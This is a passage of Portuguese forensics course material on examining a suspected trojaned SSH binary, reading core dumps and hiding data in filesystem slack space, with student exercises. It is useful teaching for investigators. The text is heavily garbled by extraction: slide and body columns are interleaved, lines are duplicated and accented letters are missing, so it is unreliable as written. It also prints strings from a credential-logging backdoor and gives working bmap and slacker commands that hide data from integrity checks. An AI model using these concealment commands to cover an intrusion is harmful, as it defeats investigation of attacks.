Muitas vezes estas evidncias no so suficientes para provam atividades realizadas pelo invasor. Mesmo
obter uma imagem completa das atividades do invasor.
Outras vezes, a quantidade reduzida de evidncias assim, muitas vezes no conseguimos ter uma
coletadas impede a montagem de uma seqncia lgica de imagem completa das atividades do invasor somente
eventos.
com estas evidncias. Outras vezes, a quantidade
Aprenderemos a analisar evidncias em arquivos de core
dump e a examinar arquivos binrios. de evidncias encontradas to pequena que ficam
Descobriremos como os invasores utilizam os espaos faltando dados suficientes para a montagem de uma
desperdiados no fim dos blocos de dados para ocultar
seqncia lgica de eventos.
evidncias.

importante que o investigador tenha pelo menos o


conhecimento bsico para realizar uma anlise mais
aprofundada em determinadas evidncias.

Aprenderemos a analisar evidncias em arquivos de core dump, a examinar arqui-


vos binrios, e descobriremos como os invasores utilizam os espaos desperdia-
dos no fim dos blocos de dados para ocultar evidncias.

Anlise de executveis Anlise de executveis

Regras durante uma anlise de executveis: Algumas regras a serem seguidas durante uma an-
Jamais execute o programa em sua estao forense; utilize lise de executveis:
uma mquina separada e isolada exclusivamente para isso
A mquina de anlise no deve estar conectada na internet \\Jamais execute o programa em sua estao
Inicie a anlise com ferramentas mais simples, como file,
strings e ldd forense; utilize uma mquina separada e isolada
Somente aps coletar todas as informaes possveis com exclusivamente para isso;
estas ferramentas que deve ser feita uma engenharia reversa
do cdigo \\A mquina de anlise no deve estar conectada
Em ltimo caso deve-se executar o programa em um ambiente
controlado e isolado da rede na internet; conecte-a a outra mquina atravs
Jamais confie em um programa suspeito de um hub ou cabo cross-over, para o caso do
programa tentar conectar-se rede. Deste modo
voc poder monitorar a atividade;

\\Inicie a anlise com ferramentas mais simples, como file, strings e ldd;

\\Somente aps coletar todas as informaes possveis com estas ferramentas


que deve ser feita uma engenharia reversa do cdigo;

\\Em ltimo caso, se for realmente necessrio, deve-se executar o programa em um


ambiente controlado e isolado da rede. Jamais confie em um programa suspeito.

importante deixar claro que nunca se deve executar programa desconhecido


em um ambiente conectado rede. Mesmo que o binrio parea inofensivo, pode
conter cdigo malicioso escondido que poderia comprometer a mquina ou outros
computadores da rede.

Anlise forense Sesso de aprendizagem 6


101

# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls8


Anlise de executveis
...
92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 2002
Vamos usar como exemplo um arquivo que foi /mnt/image/usr/bin/smbd\ -D
encontrado em uma sesso anterior:
O comando find acima foi visto anteriormente, e continha
# find /mnt/image/ -anewer /mnt/image/dev/hdx1
-ls
a referncia ao arquivo que vamos usar como exemplo.
...
92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 O comando istat mostra as datas de acesso e modi-
2002 /mnt/image/usr/bin/smbd\ -D
ficao do inode, que confirmam que o arquivo foi
criado aproximadamente no horrio em que estava
ocorrendo a invaso. A data de modificao do
arquivo (isto , do contedo do arquivo) antiga, pois
o arquivo provavelmente foi extrado de um arquivo
TAR que mantm a data de modificao original.

O arquivo suspeito, pois foi criado no perodo em


Anlise de executveis
que ocorreu a invaso:

Arquivo suspeito criado no perodo da invaso: # istat /data/compromised/compromised_hda1.img 920308


# istat /data/compromised/compromised_hda1.img 92030
inode: 92030 inode: 92030
uid / gid: 0 / 0 uid / gid: 0 / 0
mode: -rwxr-xr-x mode: -rwxr-xr-x
size: 672527
size: 672527
Accessed: Sun Aug 10 16:54:18 2003
File Modified: Wed Sep 4 00:54:10 2002 Accessed: Sun Aug 10 16:54:18 2003
Inode Modified: Sun Aug 10 14:33:33 2003 File Modified: Wed Sep 4 00:54:10 2002
Inode Modified: Sun Aug 10 14:33:33 2003

# file /mnt/image/usr/bin/smbd\ -D8


Anlise de executveis
/mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executa
ble, Intel 80386, version 1 (SYSV), for GNU/Linux 2
Comece a procurar pelas informaes mais fceis: .0.0, dynamically linked (uses shared libs), not st
# file /mnt/image/usr/bin/smbd\ -D
ripped
/mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executable,
Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, # cp /mnt/image/usr/bin/smbd\ -D /data/compromised
dynamically linked (uses shared libs), not stripped /smbd D8
# cp /mnt/image/usr/bin/smbd\ -D /data/compromised/smbd
D
# ldd /data/compromised/smbd\ -D # ldd /data/compromised/smbd\ -D8
linux-gate.so.1 => (0xffffe000)
linux-gate.so.1 => (0xffffe000)
libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000)
libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000) libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000)
libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000) libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000)
libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)
libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000)
libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)

Pelo comando file vemos que o arquivo no teve os


smbolos removidos, o que pode auxiliar na anlise. Trata-se de um executvel
para Linux ligado dinamicamente a bibliotecas locais.

Vemos pelo resultado do comando ldd que o executvel smbd utiliza funes da
biblioteca de criptografia do sistema.

Recuperao e anlise de evidncias (parte 2)


102
Escola Superior de Redes RNP

Uma procura por strings dentro do executvel pode


Anlise de executveis
fornecer informaes muito teis:
Uma procura por strings dentro do executvel pode fornecer informaes
muito teis: # strings -a /data/compromised/smbd D8
# strings -a /data/compromised/smbd D
/lib/ld-linux.so.2 /lib/ld-linux.so.2
libcrypt.so.1
/usr/include//iceconf.h libcrypt.so.1
By-ICE_4_All ( Hackers Not Allowed! ) /usr/include//iceconf.h
sshd version %.100s [%.100s]
Bind to port %d failed: %.200s. By-ICE_4_All ( Hackers Not Allowed! )
Server listening on port %d.
Connection from %.100s port %d
sshd version %.100s [%.100s]
SSH-%d.%d-%.50s Bind to port %d failed: %.200s.
Your ssh version is too old and is no longer supported. Please
install a newer version. Server listening on port %d.
+-[ User Login Incoming ]----------- --- --- - -
Connection from %.100s port %d
| username: %s password: %s%s hostname: %s
ROOT LOGIN as '%.100s' from %.100s SSH-%d.%d-%.50s
/usr/include//icekey.h
/usr/include//iceseed.h Your ssh version is too old and is no longer suppor
ted. Please install a newer version.
+-[ User Login Incoming ]----------- --- --- - -
| username: %s password: %s%s hostname: %s
ROOT LOGIN as %.100s from %.100s
/usr/include//icekey.h
/usr/include//iceseed.h

As strings acima foram resumidas e mostram apenas algumas partes mais importantes.

Podemos ver referncias a arquivos dentro do diretrio /usr/include, e mensagens


sobre o autor da ferramenta. Tambm podemos ver que trata-se de um servidor
SSH, possivelmente modificado pelo hacker. Alm disso, vemos um texto que
parece ser parte de um log (user login incoming), possivelmente um log adicional
que a ferramenta gera alm do log normal do SSH. No fim, mais referncias a
arquivos no /usr/lib.

Podemos ver na sada das strings informaes que


Anlise de executveis
sugerem que o arquivo um servidor SSH. Podemos
Podemos ver indicaes de possveis arquivos para procurar
at mesmo ver indicaes de possveis arquivos
no disco: para procurar no disco:
# ls -li /mnt/image/usr/include/ice*
92015 -rw-r--r-- 1 root root 692 May 16 2003
/mnt/image/usr/include/iceconf.h # ls -li /mnt/image/usr/include/ice*8
91850 -rw------- 1 root root 539 May 24 2002
/mnt/image/usr/include/icekey.h 92015 -rw-r--r-- 1 root root 692 May 16 2003 /mnt/i
3176 -rw-r--r-- 1 root root 5 Aug 10 2003 mage/usr/include/iceconf.h
/mnt/image/usr/include/icepid.h 91850 -rw------- 1 root root 539 May 24 2002 /mnt/i
92007 -rw------- 1 root root 512 Aug 10 2003 mage/usr/include/icekey.h
/mnt/image/usr/include/iceseed.h
# file /mnt/image/usr/include/ice* 3176 -rw-r--r-- 1 root root 5 Aug 10 2003 /mnt/imag
/mnt/image/usr/include/iceconf.h: ASCII text e/usr/include/icepid.h
/mnt/image/usr/include/icekey.h: data 92007 -rw------- 1 root root 512 Aug 10 2003 /mnt/i
/mnt/image/usr/include/icepid.h: ASCII text
mage/usr/include/iceseed.h
/mnt/image/usr/include/iceseed.h: data

# file /mnt/image/usr/include/ice*8
/mnt/image/usr/include/iceconf.h: ASCII text
/mnt/image/usr/include/icekey.h: data
/mnt/image/usr/include/icepid.h: ASCII text
/mnt/image/usr/include/iceseed.h: data

Os arquivos ainda esto presentes no disco e, de acordo com o comando file,


contm texto e dados binrios. Algumas vezes, a anlise de executveis pode ser
facilitada se encontramos mais evidncias no disco para apoiar a anlise.

Anlise forense Sesso de aprendizagem 6


103

Examinando um dos arquivos de texto, vemos que real-


Anlise de executveis
mente um arquivo de configurao de servidor SSH:
Arquivo de configurao de servidor SSH: # cat /mnt/image/usr/include/iceconf.h8

# cat /mnt/image/usr/include/iceconf.h  # This is ssh server systemwide configuration file.


# This is ssh server systemwide configuration file. Port 2003
Port 2003
ListenAddress 0.0.0.0
ListenAddress 0.0.0.0
HostKey /usr/include//icekey.h HostKey /usr/include//icekey.h
RandomSeed /usr/include//iceseed.h RandomSeed /usr/include//iceseed.h
ServerKeyBits 768
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 1 LoginGraceTime 600
PermitRootLogin yes KeyRegenerationInterval 1
PermitRootLogin yes

Um dos arquivos encontrados realmente uma con-


figurao de servidor SSH. Podemos ver que a porta onde este servidor escuta
a 2003, uma porta que no comum. Seria interessante correlacionar este tipo
de informao com informaes de dispositivos de rede e firewall, para ver se
realmente ocorreu alguma atividade nesta porta.

Fazendo um exame de um dos arquivos de dados,


Anlise de executveis
obtemos a chave privada do servidor com a identifi-
cao do usurio que a gerou:
Chave privada do servidor com identificao do
usurio que a gerou:
# strings -a /mnt/image/usr/include/icekey.h8
# strings -a /mnt/image/usr/include/icekey.h SSH PRIVATE KEY FILE FORMAT 1.1
SSH PRIVATE KEY FILE FORMAT 1.1
"0w:
0w:
RXqU_C RXqU_C
root@lessons.menchey.com} root@lessons.menchey.com}
z>'|E
b9jH2 z>|E
\=?0 b9jH2
;d-) \=?0
L=7~=
(e8 ;d-)
L=7~=
(e8

Quando um servidor SSH instalado, precisa de uma chave privativa para fun-
cionar. A chave gerada de acordo com usurio e host, e neste caso podemos
ver que a informao ficou gravada no arquivo e pode dar indicaes de onde o
hacker esteve antes de invadir o sistema.

Recuperao e anlise de evidncias (parte 2)


104
Escola Superior de Redes RNP

Anlise do cdigo
Anlise do cdigo

Somente depois de conseguir o mximo de informa-


Aps conseguir o mximo de informaes sobre o
programa, o analista realiza a engenharia reversa do es possveis sobre o programa (lembre-se de usar
programa. o Google), que o analista deve tentar realizar a
Realizar a engenharia reversa significa transformar o engenharia reversa do programa.
cdigo de mquina novamente em cdigo-fonte, para
analisar as funes do programa.
Pode revelar funes obscuras do programa. Realizar a engenharia reversa de um programa signi-
Este conhecimento pode ser til para evitar novas fica transformar o cdigo de mquina novamente em
invases ou para eliminar as que ainda existem. cdigo-fonte, para analisar as funes do programa.
Algumas vezes necessrio fazer isso para desco-
brir funes obscuras do programa. Por exemplo,
se a ferramenta encontrada for um bot, talvez seja
necessrio identificar o endereo do controlador, como o invasor faz para se
autenticar e controlar o bot. Este conhecimento pode ser til para evitar novas
invases ou para eliminar as que ainda existem.

Bot (do ingls robot) um programa que permite que um invasor controle toda a
mquina remotamente. Uma rede de computadores infectados com bot forma uma
botnet e permite que o invasor controle centenas de computadores ao mesmo
tempo, atravs de um servidor central conhecido como controlador da botnet.

Existem diversos mtodos de controle de botnet, sendo os mais comuns o IRC e


o HTTP. Por isso, algumas vezes importante realizar a anlise do binrio para
conhecer mais sobre a ferramenta e prevenir a instituio de outras invases.

Vamos ver uma ferramenta escrita em Perl, com


Anlise do cdigo
interface grfica para Linux. Chama-se LDasm, e no
faz parte do CD do Helix:
Diversas ferramentas fazem engenharia reversa de
cdigo:
# /data/tools/LDasm0.04.53/bin/ldasm8
OllyDBG
IDA Pro A engenharia reversa de binrios extremamente
Entre outras complexa, necessitando de conhecimento aprofun-
LDasm: dado de linguagens de programao e do sistema
Ferramenta escrita em Perl, com interface grfica para
operacional do binrio; normalmente preciso
Linux
No faz parte do CD do Helix dedicar muitas horas de anlise para identificar as
# /data/tools/LDasm0.04.53/bin/ldasm funcionalidades de um programa.

O contedo necessrio para explicar este tipo de


anlise seria suficiente para outro curso com a mesma extenso deste. No
vamos nos aprofundar na realizao de engenharia reversa, o que est fora dos
objetivos deste curso. O aluno que tiver conhecimentos de assembler e programa-
o poder se aprofundar no assunto.

Anlise forense Sesso de aprendizagem 6


105

Aqui temos um exemplo do LDasm, mostrando o arquivo exemplo aberto na parte


do cdigo que faz referncia s strings vistas anteriormente.

Se realmente for necessrio, o investigador pode execu-


Anlise do cdigo
tar o programa em um ambiente controlado e isolado.

O investigador pode executar o programa em um


ambiente controlado e isolado. Conecte a estao em um hub, switch ou cabo cross-
O primeiro passo encontrar o ponto de incio do over para monitorar a atividade de rede. Mesmo
programa: assim, execute o programa dentro de um depurador
# nm /data/compromised/smbd\ -D
de cdigo, como o GDB, OllyDBG ou IDA Pro.
08054ccc T MD5Final
08054be0 T MD5Init O primeiro passo encontrar o ponto de incio do
...
programa:
08049b84 ? _init

# nm /data/compromised/smbd\ -D8
08054ccc T MD5Final
08054be0 T MD5Init
...

08049b84 ? _init

Aqui ficam os avisos sobre executar o binrio em um ambiente controlado e isolado.

Com o comando nm, vemos as funes que o programa exporta ou importa das
bibliotecas, e tambm a funo inicial do programa, chamada logo que ele
carregado na memria. Esta a funo que devemos procurar em um depurador,
para interromper o programa antes que ele execute alguma funo perigosa.

Recuperao e anlise de evidncias (parte 2)


106
Escola Superior de Redes RNP

Agora, podemos executar o programa passo a


Anlise do cdigo
passo com o depurador:
Executando o programa com o depurador: # /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D8
# /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D
(gdb) b * 0x08049b84
Breakpoint 1 at 0x8049b84
(gdb) b * 0x08049b84
(gdb) run
Breakpoint 1 at 0x8049b84
Starting program: /data/compromised/smbd -D
Breakpoint 1, 0x08049b84 in _init ()

(gdb) stepi (gdb) run


0x08049b85 in _init ()
Starting program: /data/compromised/smbd -D
(gdb) bt
#0 0x08049b85 in _init () Breakpoint 1, 0x08049b84 in _init ()
#1 0xb7df3e5d in __libc_start_main () from /lib/tls/libc.so.6
#2 0x0804a501 in _start ()

(gdb) disassemble 0x08049b85 0x08049baa


Dump of assembler code from 0x8049b85 to 0x8049baa:
(gdb) stepi
0x08049b85 <_init+1>: mov %esp,%ebp
0x08049b85 in _init ()

(gdb) bt
#0 0x08049b85 in _init ()
#1 0xb7df3e5d in __libc_start_main () from /lib/
tls/libc.so.6
#2 0x0804a501 in _start ()
(gdb) disassemble 0x08049b85 0x08049baa
Dump of assembler code from 0x8049b85 to 0x8049baa:
0x08049b85 <_init+1>: mov %esp,%ebp

Observamos a sesso de execuo do programa dentro do depurador. Inicialmente,


criamos um breakpoint, ou ponto de parada do programa, para que ele no execute
totalmente. Dessa forma, o programa vai parar na funo onde criamos o breakpoint.
No caso, estamos criando o breakpoint na funo init, como vimos anteriormente.
A seguir, executamos o programa e ele pra no ponto onde marcamos.

Com o comando step podemos ir avanando linha por linha do cdigo, para saber
as funes do programa. O comando bt mostra o backtrace do programa, isto
, a pilha de chamadas de funes do programa, que serve para conhecer mais
sobre o fluxo do programa.

O comando disassemble permite ver uma parte do cdigo assembler do programa.

Novamente, no vamos realizar aqui uma anlise completa do programa, pois isso
levaria muito tempo.

Anlise forense Sesso de aprendizagem 6


107

Anlise de core dump


Anlise de core dump

Outros exemplos de evidncias que podem nos dar


Arquivos de core dump podem fornecer boas pistas
sobre o invasor boas pistas sobre o invasor so os arquivos de core
Gerados quando algum programa executa uma dump. Estes arquivos so gerados quando algum
operao ilegal e encerrado pelo sistema programa executa uma operao ilegal e encerrado
Gerados quando algum programa executado no foi pelo sistema.
terminado corretamente
Armazenam uma cpia da memria do programa no
momento em que ocorreu a falha Os arquivos de core dump so gerados quando
Guardam todas as informaes sobre o arquivo que o algum programa executado no foi terminado cor-
gerou, para que o programador possa descobrir o que retamente, devido a um erro grave como falta de
causou o erro.
memria, acesso indevido ou erros de programao.
So importantes porque armazenam uma cpia da
memria do programa no momento em que ocorreu a falha, e guardam todas as
informaes sobre o arquivo que o gerou, para que o programador possa desco-
brir o que causou o erro. Isto muito til para o analista forense, pois podemos
descobrir informaes sobre o programa executado e sobre quem o executou.

Vamos utilizar como exemplo o arquivo /data/com-


Anlise de core dump
promised/smbd-D.core. Examinando este arquivo,
Examinando o arquivo /data/compromised/smbd-D.core, podemos
podemos encontrar informaes interessantes sobre
encontrar informaes interessantes sobre o programa: o programa:
# strings -a /data/compromised/smbd-D.core 
smbd -D # strings -a /data/compromised/smbd-D.core8
/data/compromised/smbd -D
Linux
smbd -D
Helix /data/compromised/smbd -D
/data/compromised/smbd D Linux
SSH_CLIENT=192.168.47.1 4062 22
USER=root Helix
PWD=/root /data/compromised/smbd D
LOGNAME=root
SSH_CLIENT=192.168.47.1 4062 22
SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22
USER=root
PWD=/root
LOGNAME=root
SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22

Podemos ver na sada do comando strings algumas


Anlise de core dump
informaes sobre o arquivo que gerou o core.
Um arquivo core dump tem algumas informaes importantes
Neste caso, o comando foi o mesmo que utilizamos
sobre a ferramenta que o gerou: como exemplo. Podemos observar o nome do sis-
Nome original do executvel
tema operacional e diversas variveis de ambiente
Nome do usurio que executou o programa
Cpia das variveis de ambiente no momento da execuo que permitem identificar o usurio que rodou o
Possivelmente informaes sobre a conexo SSH do invasor programa e o diretrio onde ele estava, alm das
(varivel $SSH_CLIENT)
variveis do SSH que permitem identificar de onde
Informaes sobre o que causou o fim prematuro do programa
e a gerao do core dump o invasor estava conectado no momento em que o
Se tivermos o binrio original, podemos utilizar o gdb para arquivo foi gerado.
examinar o arquivo de core dump juntamente com o binrio e
descobrir o que aconteceu no momento da falha

Recuperao e anlise de evidncias (parte 2)


108
Escola Superior de Redes RNP

Slack space
Slack space

A busca por arquivos deixados pelo invasor ou


A busca por arquivos deixados pelo invasor pode ser
demorada, exigindo pacincia e dedicao. partes de arquivos, evidncias de acesso ou times-
O que acontece quando a evidncia que procuramos tamps das atividades pode ser demorada, exigindo
foi escondida intencionalmente, de forma que no seja pacincia e dedicao.
possvel encontr-la com as ferramentas que vimos
at agora?
Existem tcnicas para esconder a informao, atravs O que acontece quando a evidncia que procuramos
das quais o dado escondido no pode ser identificado foi escondida intencionalmente, de forma que no
mesmo que se tenha acesso ao arquivo onde est seja possvel encontr-la com as ferramentas que
armazenado.
Um exemplo a tcnica chamada de Esteganografia.
vimos at agora?

Existem tcnicas para esconder a informao,


em que o dado escondido no pode ser identificado mesmo que se tenha
acesso ao arquivo onde est armazenado. Um exemplo a tcnica chamada de
Esteganografia. Com ela, algum pode esconder determinada informao dentro
de outra informao, de forma que no possvel separar os dados de uma e de
outra. Dessa forma, se voc tiver acesso informao utilizada para esconder o
dado original, no saber que este dado est ali.

Normalmente, este espao desperdiado pelo


Slack space
sistema operacional. Se um sistema de arquivos
Vimos que quando um arquivo tem um tamanho menor que o
tiver um tamanho de bloco incompatvel com o tipo
tamanho do bloco, o espao restante desperdiado. Este de arquivo que normalmente armazenado nele, vai
espao conhecido como slack space.
O slack space usado como tcnica para esconder
haver muito desperdcio de espao.
informao.
Os blocos de dados so as menores estruturas possveis em Por exemplo, suponha que o sistema de arquivos foi
um sistema de arquivos.
Bloco de dados formatado com blocos de 32 kb de tamanho. Isto
dados do arquivo slack space poderia ser interessante em um sistema que gravasse
arquivos grandes, pois o tamanho maior de bloco faria
Isto acontece porque cada bloco pode estar alocado por
com que as operaes de leitura e escrita fossem
Slack space
apenas um inode de cada vez, e cada inode est associado a
um nico arquivo. mais rpidas. Mas em um sistema que possua arquivos
pequenos, com menos de 32 Kb, cada arquivo gravado
em disco ocuparia somente um nico bloco, mas no
o bloco inteiro.
Vimos que quando um arquivo tem um tamanho menor que o
tamanho
Assim, se do
vocbloco, o espao
gravar 100 arquivos de restante disco,
1 kb neste desperdiado.
ocuparia 3200Este
kb (100
* 32 kb) em vez de 100 kb (100 * 1kb), como seria de se esperar. A razo disto
espao conhecido como slack space.
que cada bloco pode estar alocado em apenas um inode de cada vez, e cada
O inode space aum
slackassociado usado como tcnica para esconder
nico arquivo.
informao.
Qualquer sistema de arquivos, com qualquer tamanho de bloco, est sujeito a
Osesse
blocos
tipo dede dados so
desperdcio, as menores
pois dificilmente estruturas
os arquivos tero umpossveis
tamanho numem
umvalor
sistema
mltiplo de arquivos.
do tamanho do bloco.

Bloco de dados
dados do arquivo slack space

Isto acontece porque cada bloco pode estar alocado por


Anlise forense Sesso de aprendizagem 6

apenas um inode de cada vez, e cada inode est associado a


um nico arquivo.
109

Exemplo:
Slack space
# du -sb /data/dirt_list.txt8
Exemplo: 60 /data/dirt_list.txt
# du -sb /data/dirt_list.txt
60 /data/dirt_list.txt # du -sk /data/dirt_list.txt8
# du -sk /data/dirt_list.txt 4 /data/dirt_list.txt
4 /data/dirt_list.txt
Mas o que isso tem a ver com esconder informao?
Contando que este espao desperdiado sempre vai existir, No exemplo, o arquivo tem 60 bytes, o que mostra
foram desenvolvidas ferramentas para esconder informaes
nele. o primeiro comando. O segundo comando, ao mos-
O bmap uma ferramenta para esconder dados no slack space trar o tamanho em kb, informa que o arquivo tem 4
de qualquer arquivo, ou at mesmo em um diretrio inteiro, e
depois recuperar essas informaes quando for necessrio. kb, pois este o espao que ele ocupa em disco,
contando o slack space. O arquivo ocupa um bloco
inteiro, apesar de s utilizar 60 bytes deste bloco
para seus dados.

Este espao extra pode ser utilizado para esconder informao. Como os dados
do arquivo no so modificados, sua assinatura SHA1 no modificada, e como
no h nenhuma referncia aos dados que esto neste espao extra, o sistema
operacional nunca sabe que ele existe.

possvel at mesmo utilizar todos os arquivos de um diretrio para armazenar


um dado, se este tiver um tamanho maior do que o que caberia em um nico
slack space de um bloco.

Vejamos alguns exemplos:


Slack space
# bmap --mode slackbytes /data/dirt_list.txt8
Exemplos:
4036
# bmap --mode slackbytes /data/dirt_list.txt
4036
# cat /data/badfiles_hashs.sha1 | bmap --mode putsla
# cat /data/badfiles_hashs.sha1 | bmap --mode ck /data/dirt_list.txt8
putslack /data/dirt_list.txt
stuffing block 1540604 stuffing block 1540604
file size was: 60
file size was: 60
slack size: 4036
block size: 4096 slack size: 4036
# bmap --mode slack /data/dirt_list.txt block size: 4096
getting from block 1540604
8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod # bmap --mode slack /data/dirt_list.txt8
44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo
getting from block 1540604
8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod
44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo

No primeiro exemplo, checamos o espao disponvel


no slack space de um arquivo.

A seguir, escondemos um dado neste espao. Veja que o programa bmap recebe
os dados que vo ser gravados no slack space atravs do STDIN, e o arquivo
especificado no comando o arquivo onde vai ser gravada a informao.

O ltimo comando mostra como recuperar uma informao no slack space.

Recuperao e anlise de evidncias (parte 2)


110
Escola Superior de Redes RNP

Vejamos alguns exemplos:


Slack space
# dcat /dev/sda5 1540604 | hexdump -C8
Vejamos alguns exemplos: 00000000 74 74 79 6f 70 0a 74 74 79 6f 61 0a 74 74
79 6f |ttyop.ttyoa.ttyo|
# dcat /dev/sda5 1540604 | hexdump -C
00000000 74 74 79 6f 70 0a 74 74 79 6f 61 0a 74 74 79 6f 00000010 66 0a 68 64 78 31 0a 68 64 78 32 0a 73 73
|ttyop.ttyoa.ttyo|
00000010 66 0a 68 64 78 31 0a 68 64 78 32 0a 73 73 68 64
68 64 |f.hdx1.hdx2.sshd|
|f.hdx1.hdx2.sshd|
00000020 20 76 65 72 73 69 6f 6e 0a 42 61 73 68 20 76 65 | version.Bash
00000020 20 76 65 72 73 69 6f 6e 0a 42 61 73 68 20
ve| 76 65 | version.Bash ve|
00000020 20 76 65 72 73 69 6f 6e 0a 42 61 73 68 20 76 65 | version.Bash
ve| 00000020 20 76 65 72 73 69 6f 6e 0a 42 61 73 68 20
00000030 72 73 69 6f 6e
|rsion.\w@\w.8bc9|
0a 5c 77 40 5c 77 0a 38 62 63 39 76 65 | version.Bash ve|
00000030 72 73 69 6f 6e 0a 5c 77 40 5c 77 0a 38 62
# ls -l /data/dirt_list.txt
-rw-r--r-- 1 root root 60 Jan 6 17:24 /data/dirt_list.txt
63 39 |rsion.\w@\w.8bc9|
# cat /data/compromised/smbd-D.core | slacker --mode fill /data/tools

# slacker --mode pour /data/tools > /tmp/test.dat # ls -l /data/dirt_list.txt8


-rw-r--r-- 1 root root 60 Jan 6 17:24 /data/dirt_li
st.txt

# cat /data/compromised/smbd-D.core | slacker


--mode fill /data/tools8

# slacker --mode pour /data/tools > /tmp/test.dat8

Somente para verificar o funcionamento, lemos com o dcat o bloco de dados onde a
informao foi escondida, e notamos que os 60 bytes iniciais, marcados em negrito,
so do arquivo original, enquanto o restante faz parte do arquivo que foi escondido.

Normalmente, em um bloco sem informao escondida existiriam somente bytes


0x00 nestas posies ou restos de arquivos anteriores e dos buffers de gravao na
memria.

Os dois ltimos exemplos mostram a ferramenta slacker, que permite gravar uma
informao em mais de um arquivo. Ela funciona da seguinte forma: lista o slack
space em cada arquivo do diretrio passado como parmetro, e grava um pedao
da informao em cada arquivo at terminar o dado.

O ltimo comando mostra como recuperar o arquivo deste diretrio. Como no


possvel saber onde a informao acaba, o comando acima vai ler o slack space de
todos os blocos no diretrio, mesmo que eles no tenham sido usados para gravar a
informao original; por isso, para recuperar o arquivo original necessrio saber o
tamanho total do arquivo, e separar esses bytes de dentro do arquivo /tmp/test.dat.

Como no modificamos o contedo do arquivo, mas


Slack space
somente do espao desperdiado, nenhuma ferramenta
que verifique a integridade do sistema vai acusar a
Nenhuma ferramenta que verifique a integridade do
sistema vai acusar a presena destes dados. presena destes dados.
Se o arquivo for apagado o bloco de dados pode ser
alocado em outro arquivo e a informao no slack Como o espao utilizado para armazenar os dados
space pode ser sobrescrita.
o espao desperdiado em um bloco, se o arquivo
O mesmo acontece se o arquivo que utilizamos para
armazenar a informao aumentar de tamanho. for apagado o bloco de dados pode ser alocado em
Por isso, esta informao considerada voltil. outro arquivo e a informao no slack space pode
Existem ferramentas que permitem criar um sistema ser sobrescrita.
de arquivos completo dentro do slack space de um
diretrio.

Anlise forense Sesso de aprendizagem 6


111

O mesmo acontece se o arquivo que utilizamos para armazenar a informao


aumentar de tamanho. Por isso, esta informao considerada voltil. Mesmo
assim, existem ferramentas que permitem criar at mesmo um sistema de arquivos
completo dentro do slack space de um diretrio.

Concluses
Concluses

Apenas recuperar arquivos apagados pode no ser suficiente


Na prxima sesso reuniremos todas as evidncias
Em alguns casos, precisamos nos aprofundar nas provas, e encontradas para correlacion-las em uma linha de
descobrir as funcionalidades de um executvel desconhecido
tempo. Com isso, vamos tentar descobrir como e
Podemos descobrir informaes sobre o programa com
ferramentas bsicas ou realizar uma anlise avanada, fazendo quando o ataque ocorreu e identificar o que foi feito
a engenharia reversa do cdigo ou executando o programa em na mquina aps a invaso. Esta informao ser til
ambiente controlado
A anlise do contedo de arquivos core dump pode fornecer para que a empresa se proteja de ataques futuros.
informaes sobre o invasor e a ferramenta
Precisamos procurar at mesmo onde nem imaginamos haver
informao, como no slack space dos blocos de disco

Recuperao e anlise de evidncias (parte 2)


112
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 6


6
Sesso de aprendizagem 6
Recuperao e anlise de evidncias
(parte 2)
Roteiro de atividades
Tpicos e conceitos

\\Investigao do contedo dos arquivos e descoberta de ferramentas


necessrias para pesquisas avanadas.

Competncias tcnicas desenvolvidas

\\Utilizao de comandos que fazem anlise do contedo de arquivos.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90-120 minutos
114
Escola Superior de Redes RNP

Atividade 1 Anlise do contedo do arquivo

1. Um dos arquivos encontrados na sesso passada continha uma srie de


ferramentas instaladas na mquina pelo invasor. Alm disso, o pacote
continha cpias de binrios comumente encontrados na mquina.
Examine os arquivos ifconfig, ls, netstat, ps e syslogd e faa um relatrio
resumindo o que voc acha que estes programas fazem. Utilize as
tcnicas vistas durante a sesso, mas no necessrio realizar a
engenharia reversa do cdigo (faa apenas se achar que consegue). A
atividade deve ser feita em dupla.

2. Outro arquivo que existe nesse pacote um arquivo de core-dump.


Analise este arquivo e faa um relatrio com as informaes que
encontrar. O que voc pode dizer sobre o usurio que gerou esse
arquivo?

Atividade 2 Busca de ferramentas na internet

Procure na internet mais informaes sobre o uso do Slack Space em


sistemas de arquivos. Quais restries existem para usar o Slack Space?
Para quais sistemas de arquivos existem ferramentas para usar este
espao? Faa um relatrio sobre o que encontrar, incluindo descries
breves das ferramentas e de como elas funcionam.

Anlise forense Sesso de aprendizagem 6


7
Sesso de aprendizagem 7
Linha de tempo e reconstruo do ataque

Sumrio da sesso

Linha de tempo. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116

Ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116

Correlao de informaes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117

Reconstruo do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119

